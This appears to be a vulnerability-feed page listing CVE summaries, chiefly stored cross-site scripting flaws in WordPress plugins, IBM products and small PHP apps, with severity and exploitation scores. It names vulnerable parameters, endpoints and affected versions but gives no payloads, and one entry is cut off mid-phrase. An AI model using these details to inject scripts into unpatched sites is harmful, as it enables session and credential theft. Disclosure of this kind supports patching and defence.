The WP VR - 360 Panorama and Free Virtual Tour Builder For WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘hotspot-hover’ parameter in all versions up to, and including, 8.5.32 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM Datacap 9.1.7, 9.1.8, and 9.1.9 could allow a remote attacker to hijack the clicking action of the victim. By persuading a victim to visit a malicious Web site, a remote attacker could exploit this vulnerability to hijack the victim's click actions and possibly launch further attacks against the victim.

XSS IBM Datacap +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

IBM Cognos Analytics 11.2.0 through 12.2.4 Fix Pack 5 and 12.0.0 through 12.0.4 is vulnerable to stored cross-site scripting. This vulnerability allows authenticated users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.

XSS IBM Cognos Analytics
NVD
EPSS 0% CVSS 1.9
LOW POC Monitor

Stored cross-site scripting (XSS) in code-projects Food Distributor Site 1.0 allows an authenticated administrator to inject arbitrary JavaScript into site settings. The vulnerability is triggered via the site_phone, site_email, or address parameters in the /admin/save_settings.php endpoint. Public exploit code is available, but the high privilege requirement (administrator access) and low EPSS score (0.07%) limit real-world risk.

PHP XSS Food Distributor Site +1
NVD GitHub VulDB
EPSS 0% CVSS 8.6
HIGH PATCH This Week

TabberNeue is a MediaWiki extension that allows the wiki to create tabs. Starting in version 3.0.0 and prior to version 3.1.1, any user can insert arbitrary HTMLinto the DOM by inserting a payload into any allowed attribute of the `<tabber>` tag. Version 3.1.1 contains a patch for the bug.

XSS
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A stored blind XSS vulnerability exists in the Contact Page of the Phpgurukul Medical Card Generation System 1.0 mcgs/contact.php. The name field fails to properly sanitize user input, allowing an attacker to inject malicious JavaScript.

PHP XSS Medical Card Generation System +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM Cloud Pak System 2.3.5.0, 2.3.3.7, 2.3.3.7 iFix1 on Power and 2.3.3.6, 2.3.3.6 iFix1, 2.3.3.6 iFix2, 2.3.4.0, 2.3.4.1 on Intel operating systems is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim's Web browser within the security context of the hosting site.

XSS IBM Cloud Pak System
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored XSS via cross-site request forgery in the re.place WordPress plugin allows an attacker to store malicious scripts by tricking a logged-in administrator into clicking a crafted link. The vulnerability affects versions up to 0.2.1, and no active exploitation or public exploit code has been identified at the time of analysis.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Stored XSS in the My Resume Builder WordPress plugin (versions through 1.0.3) enables authenticated contributors to inject persistent JavaScript payloads into resume content that executes in the browsers of other users who view it. When a privileged user such as an administrator views the affected page, the injected script runs in their browser context, enabling session hijacking, credential theft, or unauthorized administrative actions. No public exploit has been identified at time of analysis, and the EPSS score of 0.04% indicates negligible observed exploitation interest.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored Cross-Site Scripting (XSS) in the RSS Digest WordPress plugin (versions up to 1.5) can be exploited via Cross-Site Request Forgery (CSRF), allowing unauthenticated attackers to trick site administrators into performing actions that inject malicious scripts. The injected payload persists and executes in the browsers of other users, leading to content manipulation, session theft, or site defacement. No active exploitation or public exploit code is known, and EPSS indicates a very low exploitation probability.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-site request forgery in the Społecznościowa 6 PL 2013 WordPress plugin (versions <= 2.0.6) allows unauthenticated attackers to trick an administrator into executing unintended actions, leading to stored cross-site scripting. This enables injection of malicious scripts that execute in the browsers of other users, potentially stealing session cookies, defacing the site, or redirecting visitors. No active exploitation is confirmed, and the EPSS score is very low (0.02%).

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Stored cross-site scripting in the WordPress plugin Beauty Contact Popup Form up to version 6.0 enables authenticated attackers with high privileges to inject malicious scripts that execute when other users view stored contact form data. This issue has a medium CVSS score and low EPSS exploitation probability, with no known active exploitation or public exploit code.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

DOM-based cross-site scripting in the WordPress Raise The Money plugin allows authenticated attackers with low privileges to inject malicious scripts, leading to code execution in victims' browsers. No active exploitation or public exploit code has been observed, and EPSS predicts a 0.04% chance of exploitation, indicating very low real-world risk.

WordPress XSS Wordpress Plugin
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40674

Related CWEs

MITRE ATT&CK

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